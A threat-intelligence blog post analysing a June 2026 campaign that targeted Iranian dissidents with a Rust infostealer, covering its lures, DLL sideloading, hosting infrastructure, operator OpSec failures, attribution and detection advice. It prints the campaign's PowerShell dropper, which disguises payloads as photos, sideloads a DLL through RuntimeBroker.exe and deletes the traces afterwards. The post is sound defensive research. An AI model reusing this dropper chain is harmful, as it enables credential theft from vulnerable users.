Key Findings#

We uncovered a campaign targeting Iranian dissidents called “Iranopasmigirim”, with observed activity from June 9 to 19, 2026. Operators used the Rise Iran campaign’s visual identity linked to Prince Reza Pahlavi to advertise an event on June 19. Behind the scenes, a Rust-based infostealer, ParsaStealer, was executed, which evolved from an early Go version, ReaperStealer, into a more mature Rust build named umpdc.dll, distributed via DLL sideloading with Runtimebroker.exe. The Rust versions targeted Chromium credentials using Chrome-App-Bound-Encryption-Decryption, with development dating back to December 2025. Exfiltrated data was sent to Telegram in all observed samples. We also observed shifts in tradecraft, malware hosting infrastructure evolving from GitHub to tmpfiles.org and curl-t.com. OpSec failures helped us identify operator details: commits made with sudo3r@proton.me and timezone +0330, used Telegram bot username reap3rdatabot, development hostname parsa-pc and computer username parsa. This blog covers operational aspects like OpSec failures, infrastructure changes, lures, and samples, with a detailed analysis of ParsaStealer available in a separate blog post.

Introduction#

A sample on MalwareBazaar caught our attention because it was labelled as “unknown”, which warranted a closer look. The sample turned out to be an LNK file that, upon execution, retrieves three additional files, all hosted under the same GitHub user and repository. We proceeded to analyse each of the three in turn.

Uncovering the “Iranopasmigirim” Campaign#

Starting from the three initial samples and recovered files, we searched VirusTotal for more artefacts. We uncovered more malware, two GitHub repositories total, multiple staging servers, and shifts in tradecraft over time. This article focuses on samples linked to the Iranopasmigirim campaign. We also found material not directly part of this campaign but likely from the same threat actor, including samples and malware resembling test or development builds. We will address these separately. The campaign aims solely to deploy the infostealer umpdc.dll, tracked as ParsaStealer, named for debug strings. No backdoors or persistent access attempts were observed.

$t=$env:temp
cp Photos\photo_2023-12-23_22-14-07.jpg $t\RuntimeBroker.exe -ErrorAction SilentlyContinue
cp Photos\photo_2026-03-07_22-25-07.jpg $t\umpdc.dll -ErrorAction SilentlyContinue
start $t\RuntimeBroker.exe
$x='List.xlsx'
cp Photos\photo_2026-03-23_21-27-32.jpg $t\$x -ErrorAction SilentlyContinue
start -wait $t\$x
del $t\$x -ErrorAction SilentlyContinue
del Photos\photo_2023-12-23_22-14-07.jpg -ErrorAction SilentlyContinue
del Photos\photo_2026-03-07_22-25-07.jpg -ErrorAction SilentlyContinue

Analysis of Malware used in the “Iranopasmigirim” Campaign#

During the investigation, we found various malware sets. Most were abandoned; the only exception was the Rust-based infostealer umpdc.dll, which showed consistent refinement. The build used in this campaign was among the most developed, and development continued after the campaign ended.

We keep the analysis at a high-level in this blog. For a more in-depth analysis and clustering of the different ParsaStealer samples we have observed and an overview of the unrelated samples, we refer to the second entry in this blog post, which will be published soon

OpSec Failures and Findings#

As noted earlier, the actor uploaded a number of presumably test-related files to the files repository. Among these were seven ProcMon CSV logs capturing execution from the local development directory E:\projects\dllproxy\.

The logs document the iterative development of a DLL intended for sideloading. In some runs, the DLL is rejected outright and execution fails; in others, the payload crashes; and in a few, the chain completes successfully.

The logs do not record a creation date directly, only timestamps of the day. However, the file operations captured within them carry full timestamps, which place all seven logs on 2026-02-06 – 2026-02-07. The timezone in which they were recorded is unknown.

The first line of each log contains the complete set of environment variables from the recording host, confirming several details already established elsewhere, such as the username and the Computername.

Additionally, the content of the PATH environment variable shows multiple tools used to assist in development, such as ConEmu, Donut, and Scoop.

The paths referenced throughout the logs are similarly revealing, even if we have no further visibility into most of them:

• E:\projects\dllproxy\dll\
• E:\projects\dllproxy\dllproxy.py
• E:\projects\dllproxy\generated_proxy.cpp
• E:\projects\dllproxy\dll-proxy-generator.exe
• E:\projects\dllproxy\project\GUP.exe
• E:\Projects\dllproxy\UMPDC.dll
• E:\projects\dllproxy\file.dll

As these logs are presumably from 2026-02-06 to 2026-02-07 and we have seen the first versions of ParsaStealer starting from 2026-02-11, we assume these logs show early testing to transform the former .exe-based InfoStealer into a Sideloaded DLL, while testing different candidates such as GUP.exe. Another fact supporting this theory is that the early version of ParsaStealer was still developed on Windows, as seen in these logs.

Threat Actor Information#

The operational security failures described above produce the following picture. All values are attacker-controlled and could be planted

Attribution#

The available evidence supports clustering these samples into a distinct activity set but does not support organisational attribution. +0330 timezone offset in Git commit history, development paths including the recurring username parsa, and victimology are consistent with an Iran-associated development environment; however, these indicators can be fabricated. We have not identified infrastructure, code, or operational overlap sufficient to link the activity to a previously named group.

Attribution based on network indicators is difficult because the actor doesn’t use custom command-and-control infrastructure. Instead, it operates on trusted platforms like GitHub, tmpfiles.org, curl-t.com, and Telegram, a method called living-off-trusted-sites (LOTS).

To our knowledge, these samples have not yet been attributed by other researchers. We can, however, place the campaign alongside comparable published work.

The closest parallel is Acronis’ reporting on CrescentHarvest, which likewise documents dissident-focused targeting. The overlaps are substantial: decoys aimed at dissidents, heavy reliance on LNK files, next-stage deployment by carving payloads out of the LNK itself, and DLL sideloading for execution.

The differences are equally clear, though. CrescentHarvest sideloads a different DLL, uses different decoys, deploys a backdoor, and operates custom C2 infrastructure — none of which applies here. Its tooling is written in C++, whereas our actor has worked in Go and now Rust. The overall impression is of a similar campaign run by a different actor.

A second reference point is SentinelOne’s mid-year assessment of the Iran-related threat landscape, which describes the cluster TAG-182 as focused on “surveillance of dissidents and diaspora,” with no sponsor publicly attributed with confidence. That mission statement fits our observations well.

However, the technical picture, as shown by Recorded Future, is less convincing. The TAG-182 campaign documented by Recorded Future shares none of our technical indicators; the only common ground is the targeting of Farsi-speaking users. Its lure is a VPN application marketed to anti-government audiences that deploys MarkiRAT. Beyond victimology, we see no overlap with the behaviour observed in our campaign.

Detection Guidance#

On the detection side, we can differentiate between host and network indicators. In total, we have observed network connections to tmpfiles.org, api.telegram.org, curl-t.com and raw.githubusercontent.com.
We consider requests to tmpfiles.org, api.telegram.org and curl-t.com in general as suspicious and would advise further investigation to understand which process initiated the connection. If possible, blocking these connections is advised.

Connections to raw.githubusercontent.com can in many companies be initiated legitimately, especially if done by IT personnel. Therefore, blocking is not as straightforward, and the volume of alerts can quickly become unmanageable. One possibility is to first create a baseline and investigate only outliers.

On the host side, we advise multiple generic strategies, hunting for LNKs that spawn subprocesses such as cmd.exe or powershell.exe and creation of Sideloadable DLLs in a user-writable directory alongside an executable that calls this DLL.

Summary and Final Words#

Iranopasmigirim was a short, narrow campaign. Between 9 to 19 June 2026, a single actor used one lure, a forged invitation to a Rise Iran event, to deliver one payload: ParsaStealer, a Rust infostealer sideloaded through a signed Microsoft binary. There was no backdoor, no persistence, and no attempt to hold access. The objective was credential theft from Iranian activists abroad.

What makes the activity worth documenting is the operator. Development ran openly on GitHub from December 2025, and the commit history, ProcMon logs and build paths left behind give an unusually complete view of how the tooling matured from a Go prototype into the Rust build used here. That same visibility exposed a configuration error that left at least one batch of samples unable to exfiltrate anything.

Attribution stops short of a named group. Every host-derived indicator we recovered is attacker-controlled and could be planted. What the evidence does support is a coherent activity set, run by an operator working in Iran Standard Time against a dissident target profile, whose tradecraft is improving and whose development continued after this campaign closed. Before publishing this blog post, we have notified relevant government institutions in Germany and shared all details.

Appendix#

All IOCs are uploaded to our GitHub.

You can find the next entry in this blog post here, as soon as it is published.

References#

• https://www.recordedfuture.com/research/nexus-tag182-disseminates-markirat
• https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
• https://www.acronis.com/en/tru/posts/crescentharvest-iranian-protestors-and-dissidents-targeted-in-cyberespionage-campaign/
• https://www.sentinelone.com/labs/iran-war-cyber-threat-landscape-a-midyear-assessment-on-what-matters/